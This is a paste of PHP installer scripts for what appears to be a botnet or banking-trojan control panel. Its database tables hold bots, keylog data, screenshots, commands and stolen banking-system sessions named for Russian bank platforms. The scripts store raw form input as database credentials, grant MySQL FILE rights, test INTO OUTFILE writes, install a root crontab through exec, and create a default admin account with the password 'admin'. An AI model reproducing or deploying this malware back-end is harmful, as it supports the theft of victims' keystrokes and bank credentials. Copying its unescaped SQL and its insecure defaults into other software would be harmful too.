  682. $INSTALL = true;
  683. echo $dir . $value . ': <span style="color:red">'.$lang['nd'].'</span><hr />';
  684. }
  685. }
  686. }
  687. if($value != '.' && $value != '..'){
  688. recurse($dir . $value . '/');
  689. }
  690. }
  691. }
  692. }
  693. recurse(__DIR__ . '/cache/');
  694. recurse(__DIR__ . '/logs/');
  695. recurse(__DIR__ . '/scripts/');
  696. recurse(__DIR__ . '/crons/');
  697. recurse(__DIR__ . '/classes/');
  698. recurse(__DIR__ . '/modules/');
  699. recurse(__DIR__ . '/cfg/');
  700. recurse(__DIR__ . '/templates/');
  701. recurse(__DIR__ . '/includes/');
  702. recurse(__DIR__ . '/includes/config.php');
  703. ?>
  704. <br />
  705. <?php
  706. if($INSTALL != true){
  707. if($_GET['step'] == 3){
  708. $_SESSION['step'] = 3;
  709. }
  710. ?>
  711. <?php echo $lang['pf']; ?>
  712. <hr />
  713. <input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=3';" />
  714. <?php
  715. }else{
  716. ?>
  717. <?php echo $lang['pn']; ?><br /><br />"<span style="color:red"><?php echo $lang['nk']; ?></span>"!
  718. <?php
  719. }
  720. ?>
  721. -------------------------------------------------------------------------------next file
  722. "<?php echo $lang['nm']; ?>"
  723. <br /><br />
  724. <?php
  725. if($_GET['go'] != 'index') exit;
  726. //error_reporting(-1);
  727. $INSTALL = false;
  728. $ERROR = false;
  729. if(isset($_POST['host']) && isset($_POST['user']) && isset($_POST['pass']) && isset($_POST['db'])){
  730. $cfg_text = '';
  731. $cfg_text .= '$cfg_db[\'host\'] = \''.$_POST['host'].'\';' . "\n";
  732. $cfg_text .= '$cfg_db[\'user\'] = \''.$_POST['user'].'\';' . "\n";
  733. $cfg_text .= '$cfg_db[\'pass\'] = \''.$_POST['pass'].'\';' . "\n";
  734. $cfg_text .= '$cfg_db[\'db\'] = \''.$_POST['db'].'\';' . "\n";
  735. //@file_put_contents('includes/config.php', $cfg_text);
  736. ioncube_write_file('includes/config.cfg', $cfg_text);
  737. }
  738. include_once('includes/functions.get_config.php');
  739. $cfg_db = get_config();
  740. require_once("classes/mysqli.class.php");
  741. $mysqli = new mysqli_db();
  742. if(!empty($_POST['host'])) $cfg_db['host'] = $_POST['host'];
  743. if(!empty($_POST['user'])) $cfg_db['user'] = $_POST['user'];
  744. if(!empty($_POST['pass'])) $cfg_db['pass'] = $_POST['pass'];
  745. if(!empty($_POST['db'])) $cfg_db['db'] = $_POST['db'];
  746. $mysqli->connect($cfg_db['host'], $cfg_db['user'], $cfg_db['pass'], $cfg_db['db']);
  747. if(count($mysqli->errors) > 0){
  748. $INSTALL = true;
  749. }else{
  750. if($_GET['file_save'] != 'no'){
  751. $mysqli->db[0]->query('GRANT FILE ON * . * TO \''.$_POST['user'].'\'@\''.$_POST['host'].'\'');
  752. $cte = 'QWERYTEST!';
  753. $result = $mysqli->query('SELECT concat(urldecode(\''.urlencode($cte).'\')) cte');
  754. if($result->cte != $cte){
  755. include_once('includes/functions.mysql_urldecode.php');
  756. $mysqli->db[0]->query('DROP FUNCTION IF EXISTS urldecode;');
  757. $mysqli->db[0]->query(mysql_urldecode());
  758. $result = $mysqli->query('SELECT concat(urldecode(\''.urlencode($cte).'\')) cte');
  759. if($result->cte != $cte){
  760. $INSTALL = true;
  761. $ERROR = 2;
  762. }
  763. }
  764. if($ERROR != 2 && $INSTALL != true){
  765. $test_str = md5(time());
  766. $file_name = str_replace('\\', '/', '/tmp/' . $test_str);
  767. $mysqli->db[0]->query('SELECT concat(urldecode(\''.$test_str.'\')) INTO OUTFILE \''.$file_name.'\' FIELDS TERMINATED BY \';\' LINES TERMINATED BY \'\'');
  768. if(file_exists($file_name)){
  769. if(file_get_contents($file_name) != $test_str . ';'){
  770. $INSTALL = true;
  771. $ERROR = 1;
  772. }
  773. @unlink($file_name);
  774. }else{
  775. $INSTALL = true;
  776. $ERROR = 1;
  777. }
  778. }
  779. }
  780. if($INSTALL != true){
  781. /*
  782. $tb = array();
  783. $tables = $mysqli->query('SHOW TABLES', null, null, false);
  784. if(count($tables > 0)){
  785. foreach($tables as $t){
  786. $t = get_object_vars($t);
  787. $t = array_shift($t);
  788. if(preg_match('~_bak$~is', $t) != true){
  789. $mysqli->query('DROP TABLE IF EXISTS '.$t.'_bak');
  790. $mysqli->query('RENAME TABLE '.$t.' TO '.$t.'_bak');
  791. $tb[$t] = $t;
  792. }
  793. }
  794. }
  795. unset($tables);
  796. */
  797. if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots\'')) == 'bf_bots'){
  798. $mysqli->query('DROP TABLE IF EXISTS bf_bots_bak');
  799. $mysqli->query('RENAME TABLE bf_bots TO bf_bots_bak');
  800. }
  801. if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_ip\'')) == 'bf_bots_ip'){
  802. $mysqli->query('DROP TABLE IF EXISTS bf_bots_ip_bak');
  803. $mysqli->query('RENAME TABLE bf_bots_ip TO bf_bots_ip_bak');
  804. }
  805. if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_files\'')) == 'bf_filters_files'){
  806. $mysqli->query('DROP TABLE IF EXISTS bf_filters_files_bak');
  807. $mysqli->query('RENAME TABLE bf_filters_files TO bf_filters_files_bak');
  808. }
  809. if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters\'')) == 'bf_filters'){
  810. $mysqli->query('DROP TABLE IF EXISTS bf_filters_bak');
  811. $mysqli->query('RENAME TABLE bf_filters TO bf_filters_bak');
  812. }
  813. if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs\'')) == 'bf_cabs'){
  814. $mysqli->query('DROP TABLE IF EXISTS bf_cabs_bak');
  815. $mysqli->query('RENAME TABLE bf_cabs TO bf_cabs_bak');
  816. }
  817. if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_parts\'')) == 'bf_cabs_parts'){
  818. $mysqli->query('DROP TABLE IF EXISTS bf_cabs_parts_bak');
  819. $mysqli->query('RENAME TABLE bf_cabs_parts TO bf_cabs_parts_bak');
  820. }
  821. if(current($mysqli->query('SHOW TABLES LIKE \'bf_comments\'')) == 'bf_comments'){
  822. $mysqli->query('DROP TABLE IF EXISTS bf_comments_bak');
  823. $mysqli->query('RENAME TABLE bf_comments TO bf_comments_bak');
  824. }
  825. if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog\'')) == 'bf_keylog'){
  826. $mysqli->query('DROP TABLE IF EXISTS bf_keylog_bak');
  827. $mysqli->query('RENAME TABLE bf_keylog TO bf_keylog_bak');
  828. }
  829. if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_data\'')) == 'bf_keylog_data'){
  830. $mysqli->query('DROP TABLE IF EXISTS bf_keylog_data_bak');
  831. $mysqli->query('RENAME TABLE bf_keylog_data TO bf_keylog_data_bak');
  832. }
  833. $ERROR = 0;
  834. if(file_exists('scripts/install/install.sql')){
  835. $sql = file_get_contents('scripts/install/install.sql');
  836. }elseif(file_exists('scripts/install/install.sql.tpl')){
  837. $sql = ioncube_read_file(realpath('scripts/install/install.sql.tpl'));
  838. }
  839. $sql .= "\n\r";
  840. include_once('modules/accounts/rights_list.php');
  841. foreach($right as $key => $value){
  842. foreach($value as $key2 => $value2){
  843. $right[$key][$key2] = 'on';
  844. }
  845. }
  846. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(1, \''.$lang['ss'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  847. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(2, \''.$lang['es'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  848. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(3, \''.$lang['pls'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  849. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(4, \''.$lang['trs'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  850. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(5, \''.$lang['fs'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  851. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(6, \''.$lang['drsa'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  852. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(7, \''.$lang['drsi'].'\', \'\', NULL, 0, \'0\');' . "\r\n";
  853. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(8, \''.$lang['mej'].'\', \'\', NULL, 0, \'1|\');' . "\r\n";
  854. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(9, \''.$lang['mej'].'\', \'\', NULL, 0, \'2|\');' . "\r\n";
  855. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(10, \''.$lang['mej'].'\', \'\', NULL, 0, \'3|\');' . "\r\n";
  856. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(11, \''.$lang['mej'].'\', \'\', NULL, 0, \'4|\');' . "\r\n";
  857. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(12, \''.$lang['mej'].'\', \'\', NULL, 0, \'5|\');' . "\r\n";
  858. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(13, \''.$lang['mej'].'\', \'\', NULL, 0, \'6|\');' . "\r\n";
  859. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(14, \''.$lang['mej'].'\', \'\', NULL, 0, \'7|\');' . "\r\n";
  860. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(15, \''.$lang['sng'].'\', \'\', NULL, 0, \'1|\');' . "\r\n";
  861. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(16, \''.$lang['sng'].'\', \'\', NULL, 0, \'2|\');' . "\r\n";
  862. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(17, \''.$lang['sng'].'\', \'\', NULL, 0, \'3|\');' . "\r\n";
  863. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(18, \''.$lang['sng'].'\', \'\', NULL, 0, \'4|\');' . "\r\n";
  864. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(19, \''.$lang['sng'].'\', \'\', NULL, 0, \'5|\');' . "\r\n";
  865. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(20, \''.$lang['sng'].'\', \'\', NULL, 0, \'6|\');' . "\r\n";
  866. $sql .= 'INSERT INTO bf_filters (id, name, fields, host, save_log, parent_id) VALUES(21, \''.$lang['sng'].'\', \'\', NULL, 0, \'7|\');' . "\r\n";
  867. $config = array();
  868. $config['prefix'] = '';
  869. $config['cp'] = array();
  870. $config['cp']['bots'] = '100';
  871. $config['cp']['bots_country'] = '100';
  872. $config['cp']['keylog'] = '100';
  873. $config['cp']['keylogp'] = '100';
  874. $config['cp']['cabs'] = '100';
  875. $config['cp']['filters'] = '100';
  876. $config['jabber'] = '';
  877. $config['sbbc'] = '0';
  878. $config['klimit'] = '';
  879. $config['hunter_limit'] = '0';
  880. $sql .= "\n\r";
  881. $sql .= 'INSERT INTO bf_users (login, password, config, access, enable) VALUES (\'admin\', \''.MD5('admin').'\', \''.json_encode($config).'\', \''.json_encode($right).'\', \'1\');';
  882. if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_bak\'')) == 'bf_bots_bak'){
  883. $sql .= "\n\r";
  884. $sql .= "DROP TABLE IF EXISTS bf_bots;";
  885. $sql .= "\n\r";
  886. $sql .= "RENAME TABLE bf_bots_bak TO bf_bots;";
  887. }
  888. if(current($mysqli->query('SHOW TABLES LIKE \'bf_bots_ip_bak\'')) == 'bf_bots_ip_bak'){
  889. $sql .= "\n\r";
  890. $sql .= "DROP TABLE IF EXISTS bf_bots_ip;";
  891. $sql .= "\n\r";
  892. $sql .= "RENAME TABLE bf_bots_ip_bak TO bf_bots_ip;";
  893. }
  894. if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_unnecessary_bak\'')) == 'bf_filters_unnecessary_bak'){
  895. $sql .= "\n\r";
  896. $sql .= "DROP TABLE IF EXISTS bf_filters_unnecessary;";
  897. $sql .= "\n\r";
  898. $sql .= "RENAME TABLE bf_filters_unnecessary_bak TO bf_filters_unnecessary;";
  899. }
  900. if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_files_bak\'')) == 'bf_filters_files_bak'){
  901. $sql .= "\n\r";
  902. $sql .= "DROP TABLE IF EXISTS bf_filters_files;";
  903. $sql .= "\n\r";
  904. $sql .= "RENAME TABLE bf_filters_files_bak TO bf_filters_files;";
  905. }
  906. if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_save_bak\'')) == 'bf_filters_save_bak'){
  907. $sql .= "\n\r";
  908. $sql .= "DROP TABLE IF EXISTS bf_filters_save;";
  909. $sql .= "\n\r";
  910. $sql .= "RENAME TABLE bf_filters_save_bak TO bf_filters_save;";
  911. }
  912. if(current($mysqli->query('SHOW TABLES LIKE \'bf_filters_bak\'')) == 'bf_filters_bak'){
  913. $sql .= "\n\r";
  914. $sql .= "DROP TABLE IF EXISTS bf_filters;";
  915. $sql .= "\n\r";
  916. $sql .= "RENAME TABLE bf_filters_bak TO bf_filters;";
  917. }
  918. if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_bak\'')) == 'bf_cabs_bak'){
  919. $sql .= "\n\r";
  920. $sql .= "DROP TABLE IF EXISTS bf_cabs;";
  921. $sql .= "\n\r";
  922. $sql .= "RENAME TABLE bf_cabs_bak TO bf_cabs;";
  923. }
  924. if(current($mysqli->query('SHOW TABLES LIKE \'bf_cabs_parts_bak\'')) == 'bf_cabs_parts_bak'){
  925. $sql .= "\n\r";
  926. $sql .= "DROP TABLE IF EXISTS bf_cabs_parts;";
  927. $sql .= "\n\r";
  928. $sql .= "RENAME TABLE bf_cabs_parts_bak TO bf_cabs_parts;";
  929. }
  930. if(current($mysqli->query('SHOW TABLES LIKE \'bf_comments_bak\'')) == 'bf_comments_bak'){
  931. $sql .= "\n\r";
  932. $sql .= "DROP TABLE IF EXISTS bf_comments;";
  933. $sql .= "\n\r";
  934. $sql .= "RENAME TABLE bf_comments_bak TO bf_comments;";
  935. }
  936. if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_bak\'')) == 'bf_keylog_bak'){
  937. $sql .= "\n\r";
  938. $sql .= "DROP TABLE IF EXISTS bf_keylog;";
  939. $sql .= "\n\r";
  940. $sql .= "RENAME TABLE bf_keylog_bak TO bf_keylog;";
  941. }
  942. if(current($mysqli->query('SHOW TABLES LIKE \'bf_keylog_data_bak\'')) == 'bf_keylog_data_bak'){
  943. $sql .= "\n\r";
  944. $sql .= "DROP TABLE IF EXISTS bf_keylog_data;";
  945. $sql .= "\n\r";
  946. $sql .= "RENAME TABLE bf_keylog_data_bak TO bf_keylog_data;";
  947. }
  948. $sql .= "\n\r";
  949. //$sql .= 'ALTER TABLE `bf_cabs` CHANGE `type` `type` VARCHAR( 32 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;';
  950. //$sql .= 'ALTER TABLE `bf_comments` CHANGE `type` `type` VARCHAR( 32 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;';
  951. //$sql .= 'ALTER TABLE `bf_cabs` ADD INDEX `type` ( `type` );';
  952. //$sql .= 'ALTER TABLE `bf_comments` ADD INDEX `type` ( `type` );';
  953. //$sql .= "\n\r";
  954. $sql .= 'update bf_cabs set type = \'bss\' WHERE (type = \'1\');';
  955. $sql .= 'update bf_cabs set type = \'ibank\' WHERE (type = \'2\');';
  956. $sql .= 'update bf_cabs set type = \'inist\' WHERE (type = \'3\');';
  957. $sql .= 'update bf_cabs set type = \'cyberplat\' WHERE (type = \'4\');';
  958. $sql .= 'update bf_cabs set type = \'kp\' WHERE (type = \'5\');';
  959. $sql .= 'update bf_cabs set type = \'psb\' WHERE (type = \'6\');';
  960. //$sql .= "\n\r";
  961. //$sql .= 'ALTER TABLE `bf_keylog_data` ADD `trash` ENUM( \'0\', \'1\' ) NOT NULL DEFAULT \'0\' AFTER `data` ;';
  962. $sql .= "\n\r";
  963. $sql .= 'OPTIMIZE TABLE `bf_bots`, `bf_bots_ip`, `bf_cabs`, `bf_cabs_parts`, `bf_cmds`, `bf_comments`, `bf_country`, `bf_filters`, `bf_filters_files`, `bf_filters_save`, `bf_filters_unnecessary`, `bf_filter_22`, `bf_filter_ep`, `bf_filter_ft`, `bf_filter_me`, `bf_filter_rd`, `bf_keylog`, `bf_keylog_data`, `bf_links`, `bf_plugins`, `bf_plugin_history`, `bf_process`, `bf_process_stats`, `bf_screens`, `bf_search_result`, `bf_search_task`, `bf_users`;';
  964. $sql .= "\n\r";
  965. //echo $sql;
  966. //$sql = preg_replace('~EXISTS bf_(.*);~i', 'EXISTS bf_$1_new;', $sql);
  967. //$sql = preg_replace('~(TABLE|INTO) bf_(.*) ~iU', '$1 bf_$2_new ', $sql);
  968. if($mysqli->db[0]->multi_query($sql) != true) $INSTALL = true;
  969. //$mysqli->disconnect();
  970. /*
  971. echo '<pre>';
  972. print_r($sql);
  973. echo '</pre>';
  974. */
  975. }
  976. }
  977. ?>
  978. <br />
  979. <?php
  980. if($INSTALL != true){
  981. if($_GET['step'] == 3){
  982. $_SESSION['step'] = 3;
  983. }
  984. ?>
  985. <?php echo $lang['myi']; ?>
  986. <hr />
  987. <input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=4';" />
  988. <?php
  989. }else{
  990. ?>
  991. <?php echo $lang['pn']; ?>
  992. <br /><br />
  993. <?php
  994. if($ERROR == 1){
  995. print('"<span style="color:red">'.$lang['pnr'].'</span>"!');
  996. }elseif($ERROR == 2){
  997. print('<textarea cols="80" rows="10">'.mysql_urldecode().'</textarea><br /><br />');
  998. print('"<span style="color:red">'.$lang['nsp'].'</span>"!');
  999. }else{
  1000. print('"<span style="color:red">'.$lang['npm'].'</span>"!');
  1001. }
  1002. ?>
  1003. <hr />
  1004. <div align="right" style="width: 450px">
  1005. <form method="post" enctype="application/x-www-form-urlencoded">
  1006. <?php echo $lang['ads']; ?>:&nbsp;<input type="text" name="host" value="<?php echo $cfg_db['host']; ?>" style="width: 300px">
  1007. <br /><br />
  1008. <?php echo $lang['pol']; ?>:&nbsp;<input type="text" name="user" value="<?php echo $cfg_db['user']; ?>" style="width: 300px">
  1009. <br /><br />
  1010. <?php echo $lang['pas']; ?>:&nbsp;<input type="text" name="pass" value="<?php echo $cfg_db['pass']; ?>" style="width: 300px">
  1011. <br /><br />
  1012. <?php echo $lang['bad']; ?>:&nbsp;<input type="text" name="db" value="<?php echo $cfg_db['db']; ?>" style="width: 300px">
  1013. <br /><br />
  1014. <?php
  1015. if($ERROR == 1){
  1016. ?>
  1017. <input type="button" value="<?php echo $lang['skip']; ?>" onclick="if(confirm('<?php echo $lang['skip']; ?> ?')){location = '/install/index.html?step=3&file_save=no';}" />
  1018. <?php
  1019. }
  1020. ?>
  1021. <input type="submit" style="width: 310px" />
  1022. </form>
  1023. </div>
  1024. <?php
  1025. }
  1026. ?>
  1027. ---------------------------------------------------------------------------------next file
  1028. "<?php echo $lang['dcz']; ?>"
  1029. <br /><br />
  1030. <?php
  1031. if($_GET['go'] != 'index') exit;
  1032. $INSTALL = false;
  1033. $cron_job = '1 23 * * * cd '.realpath('./crons/').'/; ./cron-24H.php &> /dev/null' . "\n";
  1034. $cron_job .= '1 10,22 * * * cd '.realpath('./crons/').'/; ./cron-12H.php &> /dev/null' . "\n";
  1035. $cron_job .= '11 0-23 * * * cd '.realpath('./crons/').'/; ./cron-60m.php &> /dev/null' . "\n";
  1036. $cron_job .= '1,31 0-23 * * * cd '.realpath('./crons/').'/; ./cron-30m.php &> /dev/null' . "\n\n";
  1037. if(!file_put_contents('cache/cron_job', $cron_job)) $INSTALL = true;
  1038. exec('cd '.realpath('./crons/').'/; ./cron-24H.php > /dev/null &');
  1039. @exec('crontab -u root ' . realpath('./') . '/cache/cron_job');
  1040. $out = exec('crontab -u root -l');
  1041. if(strpos($out, 'cron-60m.php') == false) $INSTALL = true;
  1042. ?>
  1043. <br />
  1044. <?php
  1045. if($INSTALL != true){
  1046. if($_GET['step'] == 4){
  1047. $_SESSION['step'] = 4;
  1048. }
  1049. ?>
  1050. <?php echo $lang['zcd']; ?>
  1051. <hr />
  1052. <input type="button" value="<?php echo $lang['next']; ?>" onclick="location = '/install/index.html?step=5';" />
  1053. <?php
  1054. }else{
  1055. ?>
  1056. <?php echo $lang['pn']; ?><br /><br />"<span style="color:red"><?php echo $lang['ndc']; ?></span>"!
  1057. <br /><br />
  1058. <?php echo $lang['vns']; ?>
  1059. <br /><br />
  1060. crontab -u root <?php echo realpath('./') . '/cache/cron_job'; ?>
  1061. <br /><br />
  1062. <?php echo $lang['znf']; ?>
  1063. <br /><br />
  1064. <input type="button" value="<?php echo $lang['skip']; ?>" onclick="location = '/install/index.html?step=5';" />
  1065. <?php
  1066. }
  1067. ?>
  1068. ------------------------------------------------------------------------------next file
  1069. "<?php echo $lang['ps']; ?>"
  1070. <br /><br />
  1071. <?php
  1072. if($_GET['go'] != 'index') exit;
  1073. $INSTALL = false;
  1074. if($_SESSION['ic'] != true){
  1075. if(!file_exists('cache/config.json')){
  1076. file_put_contents('cache/config.json', '{"lang":"'.$_SESSION['lang'].'","live":"30","autocmd":"0","http_post_ip":"","jabber":{"admin":"","1":{"uid":"","pass":""},"2":{"uid":"","pass":""},"tracking":"","cab":"0"},"scramb":"0","heap":"0","filters":"0","autorize_key":"0"}');
  1077. }
  1078. }
  1079. ?>
  1080. <br /><hr /><br />
  1081. <?php
  1082. if($INSTALL != true){
  1083. $_SESSION['ic'] = true;
  1084. file_put_contents('cache/install', true);
  1085. ?>
  1086. "<?php echo $lang['zav']; ?>"
  1087. <br /><br />
  1088. <input type="button" value="<?php echo $lang['aut']; ?>" onclick="location = '/login';" />
  1089. <?php
  1090. }else{
  1091. ?>
  1092. <?php echo $lang['pn']; ?>!
  1093. <?php
  1094. }
  1095. ?>

comments powered by Disqus